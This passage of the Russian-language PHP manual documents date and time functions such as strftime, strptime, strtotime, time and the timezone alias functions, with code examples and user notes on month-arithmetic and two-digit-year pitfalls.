8.0.0 | timestamp теперь допускает значение null.

Примеры

Этот пример будет работать, если на вашей системе установлены соответствующие локали.

Пример #1 Пример использования функции strftime() с разными локалями

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
echo strftime(" по-фински - %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" по-французски - %A и");
setlocale(LC_TIME, "de_DE");
echo strftime(" по-немецки - %A.\n");
?>

Пример #2 Пример номеров недели по ISO 8601:1988

<?php
/* Декабрь 2002 / Январь 2003
ISOнед Пн Вт Ср Чт Пт Сб Вс
----- ----------------------------
51 16 17 18 19 20 21 22
52 23 24 25 26 27 28 29
1 30 31 1 2 3 4 5
2 6 7 8 9 10 11 12
3 13 14 15 16 17 18 19 */

// Вывод: 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// Вывод: 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// Вывод: 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// Вывод: 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/* Декабрь 2004 / Январь 2005
ISOнед Пн Вт Ср Чт Пт Сб Вс
----- ----------------------------
51 13 14 15 16 17 18 19
52 20 21 22 23 24 25 26
53 27 28 29 30 31 1 2
1 3 4 5 6 7 8 9
2 10 11 12 13 14 15 16 */

// Вывод: 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// Вывод: 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// Вывод: 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// Вывод: 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

Пример #3 Кроссплатформенный пример использования модификатора %e

<?php

// 1 января: выдаёт результат: '%e%1%' (%%, e, %%, %e, %%)
$format = '%%e%%%e%%';

// Проверяем наличие Windows и соответственно заменяем модификатор %e
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
$format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
}

echo strftime($format);
?>

Пример #4 Показываем все известные и неизвестные форматы.

<?php
// Описание форматов.
$strftimeFormats = array(
'A' => 'Полное название дня',
'B' => 'Полное имя месяца, в зависимости от локали',
'C' => 'Двухзначный номер столетия (год, делённый на 100, усечённый до целого)',
'D' => 'Тоже что и "%m/%d/%y"',
'E' => '',
'F' => 'Тоже что и "%Y-%m-%d"',
'G' => 'Четырёхзначная версия %g',
'H' => 'Двухзначный номер часа в 24-часовом формате',
'I' => 'Двухзначный номер часа в 12-часовом формате',
'J' => '',
'K' => '',
'L' => '',
'M' => 'Двухзначный номер минуты',
'N' => '',
'O' => '',
'P' => '"am" или "pm" в зависимости от текущего времени, в нижнем регистре',
'Q' => '',
'R' => 'Тоже что и "%H:%M"',
'S' => 'Двухзначный номер секунды',
'T' => 'Тоже что и "%H:%M:%S"',
'U' => 'Номер недели указанного года, начиная с первого воскресенья в качестве первой недели',
'V' => 'Порядковый номер недели в указанном году в соответствии со стандартом ISO-8601:1988, счёт начинается с той недели, которая содержит минимум 4 дня, неделя начинается с понедельника',
'W' => 'Номер недели указанного года, начиная с первого понедельника в качестве первой недели',
'X' => 'Предпочитаемое отображение времени в зависимости от локали, без даты',
'Y' => 'Четырёхзначный номер года',
'Z' => 'Смещение часового пояса /аббревиатура, НЕ выдаваемая %z (зависит от операционной системы)',
'a' => 'Сокращённое название дня недели',
'b' => 'Сокращённое название месяца в зависимости от локали',
'c' => 'Предпочитаемое отображение даты и времени в зависимости от локали',
'd' => 'Двухзначный номер дня месяца (с ведущими нулями)',
'e' => 'День месяца, с ведущим пробелом, если он состоит из одной цифры',
'f' => '',
'g' => 'Двухзначный номер года в соответствии со стандартом ISO-8601:1988 (смотрите %V)',
'h' => 'Сокращённое название месяца в зависимости от локали (псевдоним %b)',
'i' => '',
'j' => 'Номер дня в году, 3 цифры с ведущими нулями',
'k' => 'Час в 24-часовом формате, с ведущим пробелом перед одиночной цифрой',
'l' => 'Номер часа в 12-часовом формате, с ведущим пробелом, если он состоит из одной цифры',
'm' => 'Двухзначный номер месяца',
'n' => 'Символ новой строки ("\n")',
'o' => '',
'p' => '"AM" или "PM" в зависимости от указанного времени, в верхнем регистре',
'q' => '',
'r' => 'Тоже что и "%I:%M:%S %p"',
's' => 'Временная метка Эпохи Unix',
't' => 'Символ табуляции ("\t")',
'u' => 'Номер дня недели в соответствии со стандартом ISO-8601',
'v' => '',
'w' => 'Номер дня недели',
'x' => 'Предпочитаемое отображение даты в зависимости от локали, без времени',
'y' => 'Двухзначный номер года',
'z' => 'Смещение часового пояса относительно UTC или аббревиатура (зависит от операционной системы)',
'%' => 'Символ процента ("%")',
);

// Результаты.
$strftimeValues = array();

// Обрабатываем форматы и подавляем любые ошибки.
foreach($strftimeFormats as $format => $description){
if (False !== ($value = @strftime("%{$format}"))){
$strftimeValues[$format] = $value;
}
}

// Находим самое длинное значение
$maxValueLength = 2 + max(array_map('strlen', $strftimeValues));

// Отображаем известные форматы.
foreach($strftimeValues as $format => $value){
echo "Известный формат : '{$format}' = ", str_pad("'{$value}'", $maxValueLength), " ( {$strftimeFormats[$format]} )\n";
}

// Отображаем неизвестные форматы.
foreach(array_diff_key($strftimeFormats, $strftimeValues) as $format => $description){
echo "Неизвестный формат : '{$format}' ", str_pad(' ', $maxValueLength), ($description ? " ( {$description} )" : ''), "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Известный формат   : 'A' = 'Friday'            ( Полное название дня )
Известный формат   : 'B' = 'December'          ( Полное имя месяца, в зависимости от локали )
Известный формат   : 'H' = '11'                ( Двухзначный номер часа в 24-часовом формате )
Известный формат   : 'I' = '11'                ( Двухзначный номер часа в 12-часовом формате )
Известный формат   : 'M' = '24'                ( Двухзначный номер минуты )
Известный формат   : 'S' = '44'                ( Двухзначный номер секунды )
Известный формат   : 'U' = '48'                ( Номер недели указанного года, начиная с первого воскресенья в качестве первой недели )
Известный формат   : 'W' = '48'                ( Номер недели указанного года, начиная с первого понедельника в качестве первой недели )
Известный формат   : 'X' = '11:24:44'          ( Предпочитаемое отображение времени в зависимости от локали, без даты )
Известный формат   : 'Y' = '2010'              ( Четырёхзначный номер года )
Известный формат   : 'Z' = 'GMT Standard Time' ( Смещение часового пояса /аббревиатура, НЕ выдаваемая %z (зависит от операционной системы) )
Известный формат   : 'a' = 'Fri'               ( Сокращённое название дня недели )
Известный формат   : 'b' = 'Dec'               ( Сокращённое название месяца в зависимости от локали )
Известный формат   : 'c' = '12/03/10 11:24:44' ( Предпочитаемое отображение даты и времени в зависимости от локали )
Известный формат   : 'd' = '03'                ( Двухзначный номер дня месяца (с ведущими нулями) )
Известный формат   : 'j' = '337'               ( Номер дня в году, 3 цифры с ведущими нулями )
Известный формат   : 'm' = '12'                ( Двухзначный номер месяца )
Известный формат   : 'p' = 'AM'                ( "AM" или "PM" в зависимости от указанного времени, в верхнем регистре )
Известный формат   : 'w' = '5'                 ( Номер дня недели )
Известный формат   : 'x' = '12/03/10'          ( Предпочитаемое отображение даты в зависимости от локали, без времени )
Известный формат   : 'y' = '10'                ( Двухзначный номер года )
Известный формат   : 'z' = 'GMT Standard Time' ( Смещение часового пояса относительно UTC или аббревиатура (зависит от операционной системы) )
Известный формат   : '%' = '%'                 ( Символ процента ("%") )
Неизвестный формат : 'C'                       ( Двухзначный номер столетия (год, делённый на 100, усечённый до целого) )
Неизвестный формат : 'D'                       ( Тоже что и "%m/%d/%y" )
Неизвестный формат : 'E'
Неизвестный формат : 'F'                       ( Тоже что и "%Y-%m-%d" )
Неизвестный формат : 'G'                       ( Четырёхзначная версия %g )
Неизвестный формат : 'J'
Неизвестный формат : 'K'
Неизвестный формат : 'L'
Неизвестный формат : 'N'
Неизвестный формат : 'O'
Неизвестный формат : 'P'                       ( "am" или "pm" в зависимости от текущего времени, в нижнем регистре )
Неизвестный формат : 'Q'
Неизвестный формат : 'R'                       ( Тоже что и "%H:%M" )
Неизвестный формат : 'T'                       ( Тоже что и "%H:%M:%S" )
Неизвестный формат : 'V'                       ( Порядковый номер недели в указанном году в соответствии со стандартом ISO-8601:1988, счёт начинается с той недели, которая содержит минимум 4 дня, неделя начинается с понедельника )
Неизвестный формат : 'e'                       ( День месяца, с ведущим пробелом, если он состоит из одной цифры )
Неизвестный формат : 'f'
Неизвестный формат : 'g'                       ( Двухзначный номер года в соответствии со стандартом ISO-8601:1988 (смотрите %V) )
Неизвестный формат : 'h'                       ( Сокращённое название месяца в зависимости от локали (псевдоним %b) )
Неизвестный формат : 'i'
Неизвестный формат : 'k'                       ( Номер часа в 24-часовом формате, с ведущим пробелом, если он состоит из одной цифры )
Неизвестный формат : 'l'                       ( Номер часа в 12-часовом формате, с ведущим пробелом, если он состоит из одной цифры )
Неизвестный формат : 'n'                       ( Символ новой строки ("\n") )
Неизвестный формат : 'o'
Неизвестный формат : 'q'
Неизвестный формат : 'r'                       ( Тоже что и "%I:%M:%S %p" )
Неизвестный формат : 's'                       ( Временная метка Эпохи Unix )
Неизвестный формат : 't'                       ( Символ табуляции ("\t") )
Неизвестный формат : 'u'                       ( Номер дня недели в соответствии со стандартом ISO-8601 )
Неизвестный формат : 'v'

Примечания

Замечание: Использование параметров %G и %V, основанных на днях недели формата ISO 8601:1988, могут давать неожиданные (хотя и корректные) результаты при неполном понимании данной системы нумерации. Смотрите примеры параметра %V на данной странице.

Смотрите также

  • IntlDateFormatter::format() - Форматирует значение даты/времени в виде строки
  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату
  • » Онлайн-утилита составления времени в формате strftime()
  • setlocale() - Устанавливает настройки локали
  • mktime() - Возвращает метку времени Unix для заданной даты
  • strptime() - Разбирает строку даты/времени, сгенерированную функцией strftime
  • gmstrftime() - Форматирует дату/время по Гринвичу с учётом текущей локали
  • » Спецификация Open Group функции strftime()

User Contributed Notes

divinity76+spam at gmail dot com 07-Jan-2023 05:56
there is a strftime compatibility package for php>=8.1 at https://github.com/alphp/strftime


Разбирает строку даты/времени, сгенерированную функцией strftime

  • « strftime
  • strtotime »
  • PHP Manual
  • Функции даты и времени
  • Разбирает строку даты/времени, сгенерированную функцией strftime

strptime

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

strptime — Разбирает строку даты/времени, сгенерированную функцией strftime()

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

strptime(string $timestamp, string $format): array|false

strptime() возвращает массив с данными разбора строки timestamp, либо false в случае возникновения ошибки.

Названия месяцев и недель, а также другие названия, зависящие от языка, соответствуют текущим настройкам местоположения, установленным посредством setlocale() (LC_TIME).

Список параметров

timestamp (string)

Строка для разбора (например, строковый результат выполнения функции strftime()).

format (string)

Формат строки timestamp (например, формат, используемый в функции strftime()). Следует обратить внимание на тот факт, что не все возможности форматирования используемые в strftime() будут обрабатываться в strptime(); набор поддерживаемых символов форматирования зависит от ОС и используемой С-библиотеки.

За дополнительной информацией о возможностях форматирования обращайтесь на страницу описания функции strftime().

Возвращаемые значения

Возвращает массив или false в случае возникновения ошибки.

Список элементов возвращаемого массива
параметры | Описание
"tm_sec" | Секунды после минут (0-61)
"tm_min" | Минуты после часов (0-59)
"tm_hour" | Часы после полуночи (0-23)
"tm_mday" | День месяца (1-31)
"tm_mon" | Месяцы после января (0-11)
"tm_year" | Годы после 1900
"tm_wday" | Дни после воскресенья (0-6)
"tm_yday" | Дни после 1-го января (0-365)
"unparsed" | Часть timestamp, которую не удалось распознать в соответствии с format

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Вместо неё используйте date_parse_from_format() (для синтаксического анализа, не зависящего от языкового стандарта) или IntlDateFormatter::parse() (для синтаксического анализа, зависящего от языкового стандарта).

Примеры

Пример #1 Пример использования strptime()

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

Результатом выполнения данного примера будет что-то подобное:

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

Замечание:

В действительности эта функция вызывает библиотечную функцию strptime(). В различных ОС поведение функции может сильно различаться. Функция date_parse_from_format() лишена этого недостатка и рекомендована к использованию.

Замечание:

"tm_sec" включает несколько секунд високосного года (на данный момент до 2-х в год). Для получения дополнительной информации о високосных секундах читайте » статью на википедии.

Смотрите также

  • IntlDateFormatter::parse() - Преобразует строку в значение отметки времени
  • DateTime::createFromFormat() - Разбирает строку с датой согласно указанному формату
  • checkdate() - Проверяет корректность даты по григорианскому календарю
  • strftime() - Форматирует текущую дату/время с учётом текущих настроек локали
  • date_parse_from_format() - Получение информации о заданной в определённом формате дате

User Contributed Notes

There are no user contributed notes for this page.


Преобразует текстовое представление даты на английском языке в метку времени Unix

  • « strptime
  • time »
  • PHP Manual
  • Функции даты и времени
  • Преобразует текстовое представление даты на английском языке в метку времени Unix

strtotime

(PHP 4, PHP 5, PHP 7, PHP 8)

strtotime — Преобразует текстовое представление даты на английском языке в метку времени Unix

Описание

strtotime(string $datetime, ?int $baseTimestamp = null): int|false

Первым параметром функции должна быть строка с датой на английском языке, которая будет преобразована в метку времени Unix (количество секунд, прошедших с 1 января 1970 года 00:00:00 UTC) относительно метки времени, переданной в baseTimestamp, или текущего времени, если аргумент baseTimestamp опущен. Разбор строки даты определён в разделе Форматы даты и времени и содержит несколько аспектов. Настоятельно рекомендуется с ними ознакомиться.

Внимание

Временная метка Unix, которую возвращает эта функция, не содержит информацию о часовых поясах. Для выполнения расчётов с информацией о дате/времени вы должны использовать более подходящий DateTimeImmutable.

Каждый параметр функции использует временную метку по умолчанию, пока она не указана в этом параметре напрямую. Будьте внимательны и не используйте различные временные метки в параметрах, если на то нет прямой необходимости. Обратите внимание на date_default_timezone_get() для задания часового пояса различными способами.

Список параметров

datetime

Строка даты/времени. Объяснение корректных форматов дано в разделе Форматы даты и времени.

baseTimestamp

Временная метка, используемая в качестве базы для вычисления относительных дат.

Возвращаемые значения

Возвращает временную метку в случае успешного выполнения, иначе возвращается false.

Ошибки

Каждый вызов к функциям даты/времени при неправильных настройках часового пояса сгенерирует ошибку уровня E_WARNING, если часовой пояс некорректный. Смотрите также date_default_timezone_set()

Список изменений

Версия | Описание
8.0.0 | baseTimestamp теперь допускает значение null.

Примеры

Пример #1 Пример использования функции strtotime()

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

Пример #2 Проверка ошибок

<?php
$str = 'Not Good';

if (($timestamp = strtotime($str)) === false) {
echo "Строка ($str) недопустима";
} else {
echo "$str == " . date('l dS \o\f F Y h:i:s A', $timestamp);
}
?>

Примечания

Замечание:

"Относительная" дата в данном случае также означает, что если конкретный компонент метки даты/времени не указан, он будет взят дословно из параметр baseTimestamp. То есть, strtotime('February'), если его запустить 31 мая 2022 года, будет интерпретирован как 31 февраля 2022, что перенесётся в метку времени 3 марта (в високосный год будет 2 марта). Использование strtotime('1 February') или strtotime('first day of February') позволит избежать этой проблемы.

Замечание:

Если количество лет указано двумя цифрами, то значения 00-69 будут считаться 2000-2069, а 70-99 - 1970-1999. Смотрите также замечания ниже о возможных различиях на 32-битных системах (допустимые даты заканчиваются 2038-01-19 03:14:07).

Замечание:

Корректным диапазоном временных меток обычно являются даты с 13 декабря 1901 20:45:54 UTC по 19 января 2038 03:14:07 UTC. (Эти даты соответствуют минимальному и максимальному значению 32-битового знакового целого).

В 64-битных версиях PHP корректный диапазон временных меток фактически бесконечен, так как 64 битов хватит для представления приблизительно 293 миллиарда лет в обоих направлениях.

Замечание:

Не рекомендуется использовать эту функцию для математических операций. Целесообразно использовать DateTime::add() и DateTime::sub().

Смотрите также

  • DateTimeImmutable
  • DateTimeImmutable::createFromFormat() - Разбирает строку с датой согласно указанному формату
  • Форматы даты и времени
  • checkdate() - Проверяет корректность даты по григорианскому календарю
  • strptime() - Разбирает строку даты/времени, сгенерированную функцией strftime

User Contributed Notes

cesarfrisa at yahoo dot es 01-Jun-2023 08:29
This is the link to the relative formats that can be used in this function. It's not easy to find in the documentation.

https://www.php.net/manual/en/datetime.formats.relative.php

Here some examples:
<?php
$today = date( 'Y-m-d', strtotime( 'today' ) );
echo "Today: " . $today;

// Print: Today: 2023-06-01

//Basic Example
$tomorrow = date( 'Y-m-d', strtotime( 'tomorrow' ) );
echo "\n\nTomorrow: " . $tomorrow;

// Print: Tomorrow: 2023-06-02

$yesterday = date( 'Y-m-d', strtotime( 'yesterday' ) );
echo "\n\nYesterday: " . $yesterday;

// Print: Yesterday: 2023-05-31

// Add o subtract Month
$variable = date( 'Y-m-d', strtotime( '+1 month' ) );
echo "\n\nAdd one month: " . $variable;

// Print: Add one month: 2023-07-01

$variable = date( 'Y-m-d', strtotime( '-1 month' ) );
echo "\n\nSubstract one month: " . $variable;

// Print: Substract one month: 2023-05-01

// More complex formats:
// ERROR / BUG: If today is the last day of the month. This examples can be one error or bug.
// If you are looking el first day of previous or next month you dont must use last Relative Format.
// You must use 'first day of 2 months ago' or 'first day of previous month'
// See you:
// https://bugs.php.net/bug.php?id=22486
// https://bugs.php.net/bug.php?id=44073
// strtotime("+1 Month")
// produces the wrong result on the 31st day of the month.
// on January 31, date("m",strtotime("+1 Month")) will return 03 instead of 02

// Another example:
$dt1 = strtotime("2023-01-30");
$month = strtotime("+1 month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nBUG add month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-01-30
// BUG add month: 2023-03-02

$dt1 = strtotime("2023-02-28");
$month = strtotime("-1 month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nBUG substract month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// BUG substract month: 2023-01-28

$dt1 = strtotime("2023-01-30");
$month = strtotime("first day of next month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nFirst day of next month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-01-30
// First day of next month: 2023-02-01

$dt1 = strtotime("2023-02-28");
$month = strtotime("last day of last month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nLast day of last month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// Last day of last month: 2023-01-31

$dt1 = strtotime("2023-02-28");
$month = strtotime("first day of 2 months ago", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nFirst day of 2 months ago: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// First day of 2 months ago: 2022-12-01

?>
info at pipasjourney dot com 31-May-2023 10:02
Be aware of this: 1 month before the 31st day, it will return the same month:

<?php
echo date('m', strtotime('2023-05-30 -1 month')) ; //returns 04
echo date('m', strtotime('2023-05-31 -1 month')) ; //returns 05, not 04
?>

So, don't use this to operate on the month of the result.
A better way to know what month was the previous month would be:

<?php
//considering today is 2023-05-31...

$firstOfThisMonth = date('Y-m') . '-01'; //returns 2023-05-01
echo date('m', strtotime($firstOfThisMonth . ' -1 month')) ; //returns 04
?>
MarkAgius at markagius dot co dot uk 08-May-2023 10:21
Note:
If day of month is 12 or less, or year is entered as a two digit number and less than 31 or 12 then you may get the wrong time value.
If you know the format used with the date string, then use the following code: (PHP version 5.5 or later)
[code]
function getStrtotime($timeDateStr, $formatOfStr="j/m/Y"){
  // Same as strtotime() but using the format $formatOfStr.
  // Works with PHP version 5.5 and later.
  // On error reading the time string, returns a date that never existed. 3/09/1752 Julian/Gregorian calendar switch.
  $timeStamp = DateTimeImmutable::createFromFormat($formatOfStr,$timeDateStr);
  if($timeStamp===false){
    // Bad date string or format string.
    return -6858133619; // 3/09/1752
  } else {
    // Date string and format ok.
    return $timeStamp->format("U"); // UNIX timestamp from 1/01/1970,  0:00:00 gmt
  }
}

print date("j/m/Y", getStrtotime("1/02/2022", "j/m/Y"))." Standard format. (j)<BR>\n";
print date("j/m/Y", getStrtotime("1/02/2022", "d/m/Y"))." Standard format. (d)<BR>\n";
print date("j/m/Y", getStrtotime("1/02/2022", "j/m/y"))." Standard format. (y) &lt;-- Bad date as 2022 is not two digits.<BR>\n";
print date("j/m/Y", getStrtotime("21/02/2022", "j/m/Y"))." Standard format. (j)<BR>\n";
print date("j/m/Y", getStrtotime("21/02/2022", "d/m/Y"))." Standard format. (d)<BR>\n";
print date("j/m/Y", getStrtotime("2/01/2022", "m/j/Y"))." US format.<BR>\n";
print date("j/m/Y", getStrtotime("2-01-22", "m-j-y"))." Two digit year, US format. (Y)<BR>\n";
print date("j/m/Y", getStrtotime("2-01-22", "m-j-Y"))." Two digit year, US format. (y) &lt;-- Wrong year if two digits.<BR>\n";
print date("j/m/Y", getStrtotime("3/09/1752", "j/m/Y"))." No such date.<BR>\n";
print date("j/m/Y", getStrtotime("50/00/19999", "j/m/Y"))." Bad date string.<BR>\n";
print date("j/m/Y", getStrtotime("1-02-2022", "j/m/Y"))." Wrong - or / used.<BR>\n";
[/code]
Output:
1/02/2022 Standard format. (j)
1/02/2022 Standard format. (d)
3/09/1752 Standard format. (y) <-- Bad date as 2022 is not two digits.
21/02/2022 Standard format. (j)
21/02/2022 Standard format. (d)
1/02/2022 US format.
1/02/2022 Two digit year, US format. (Y)
1/02/0022 Two digit year, US format. (y) <-- Wrong year if two digits.
3/09/1752 No such date.
3/09/1752 Bad date string.
3/09/1752 Wrong - or / used.
Vyacheslav Belchuk 17-Mar-2023 03:39
Be careful when using two numbers as the year. I came across this situation:

<?php

echo strtotime('24.11.22');
echo date('d.m.Y H:i:s', 1669324282)  .  "\n\n";

// But
echo strtotime('24.11.2022');
echo date('d.m.Y H:i:s', 1669237200);

?>

Output:

1669324282
25.11.2022 00:11:22

1669237200
24.11.2022 00:00:00


Возвращает текущую метку системного времени Unix

  • « strtotime
  • timezone_abbreviations_list »
  • PHP Manual
  • Функции даты и времени
  • Возвращает текущую метку системного времени Unix

time

(PHP 4, PHP 5, PHP 7, PHP 8)

time — Возвращает текущую метку системного времени Unix

Описание

time(): int

Возвращает количество секунд, прошедших с начала эпохи Unix (1 января 1970 00:00:00 GMT) до текущего времени.

Замечание:

Метки времени Unix не содержат никакой информации относительно локального часового пояса. Рекомендуется использовать класс DateTimeImmutable для работы с информацией о дате и времени, чтобы избежать подводных камней, связанных с метками времени Unix.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущую метку системного времени.

Примеры

Пример #1 Пример использования time()

<?php

echo 'Сейчас: '. time();
?>

Результатом выполнения данного примера будет что-то подобное:

Сейчас: 1660338149

Примечания

Подсказка

Время начала запроса доступно в глобальной переменной $_SERVER['REQUEST_TIME'].

Смотрите также

  • DateTimeImmutable
  • date() - Форматирует временную метку Unix
  • microtime() - Возвращает текущую метку времени Unix с микросекундами

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::listAbbreviations

  • « time
  • timezone_identifiers_list »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_abbreviations_list — Псевдоним DateTimeZone::listAbbreviations()

Описание

Функция является псевдонимом: DateTimeZone::listAbbreviations()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::listIdentifiers

  • « timezone_abbreviations_list
  • timezone_location_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_identifiers_list — Псевдоним DateTimeZone::listIdentifiers()

Описание

Функция является псевдонимом: DateTimeZone::listIdentifiers()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::getLocation

  • « timezone_identifiers_list
  • timezone_name_from_abbr »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_location_get — Псевдоним DateTimeZone::getLocation()

Описание

Функция является псевдонимом: DateTimeZone::getLocation()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC

  • « timezone_location_get
  • timezone_name_get »
  • PHP Manual
  • Функции даты и времени
  • Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC

timezone_name_from_abbr

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

timezone_name_from_abbr — Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC

Описание

timezone_name_from_abbr(string $abbr, int $utcOffset = -1, int $isDST = -1): string|false

Список параметров

abbr

Аббревиатура часового пояса.

utcOffset

Смещение относительно GMT в секундах. По умолчанию -1, что означает возврат первого найденного часового пояса, отвечающего аббревиатуре abbr. В противном случае будет произведён поиск часового пояса с заданным смещением. Если поиск завершится неудачей, будет возвращён ближайший к смещению часовой пояс.

isDST

Поправка на летнее время. По умолчанию -1, в этом случае поправка на летнее время не учитывается. Если передана 1, смещение utcOffset учитывает действующее летнее время. Если задан 0, utcOffset рассчитывается с учётом зимнего времени. Если abbr не существует, определение часового пояса опирается только на utcOffset и isDST.

Возвращаемые значения

Возвращает имя часового пояса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования timezone_name_from_abbr()

<?php
echo timezone_name_from_abbr("CET") . "\n";
echo timezone_name_from_abbr("", 3600, 0) . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Europe/Berlin
Europe/Paris

Смотрите также

  • timezone_abbreviations_list() - Псевдоним DateTimeZone::listAbbreviations

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::getName

  • « timezone_name_from_abbr
  • timezone_offset_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_name_get — Псевдоним DateTimeZone::getName()

Описание

Функция является псевдонимом: DateTimeZone::getName()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::getOffset

  • « timezone_name_get
  • timezone_open »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_offset_get — Псевдоним DateTimeZone::getOffset()

Описание

Функция является псевдонимом: DateTimeZone::getOffset()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::__construct

  • « timezone_offset_get
  • timezone_transitions_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_open — Псевдоним DateTimeZone::__construct()

Описание

Функция является псевдонимом: DateTimeZone::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним DateTimeZone::getTransitions

  • « timezone_open
  • timezone_version_get »
  • PHP Manual
  • Функции даты и времени
  • Псевдоним DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_transitions_get — Псевдоним DateTimeZone::getTransitions()

Описание

Функция является псевдонимом: DateTimeZone::getTransitions()

User Contributed Notes

There are no user contributed notes for this page.


Получение номера версии базы данных часовых поясов

  • « timezone_transitions_get
  • Date/Time Errors and Exceptions »
  • PHP Manual
  • Функции даты и времени
  • Получение номера версии базы данных часовых поясов

timezone_version_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_version_get — Получение номера версии базы данных часовых поясов

Описание

timezone_version_get(): string

Возвращает номер версии базы данных часовых поясов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string) в формате YYYY.increment, например, 2022.2.

Если у вас старая версия базы данных часовых поясов (например, она показывает не текущий год), то вы можете обновить информацию о часовых поясах, либо обновив версию PHP, либо установив пакет PECL » timezonedb.

Некоторые дистрибутивы Linux исправляют поддержку даты/времени в PHP, чтобы использовать альтернативный источник информации о часовых поясах. В такой ситуации функция будет возвращать 0.system. В этом случае рекомендуется установить пакет PECL » timezonedb.

Примеры

Пример #1 Определение версии базы данных часовых поясов

<?php
echo timezone_version_get();
?>

Результатом выполнения данного примера будет что-то подобное:

2022.2

Смотрите также

  • Список поддерживаемых часовых поясов

User Contributed Notes

There are no user contributed notes for this page.


Date/Time Errors and Exceptions

  • DateError (наследует Error)
    • DateObjectError DateRangeError
  • DateException (наследует Exception)
      • DateInvalidOperationException
      • DateInvalidTimezoneException
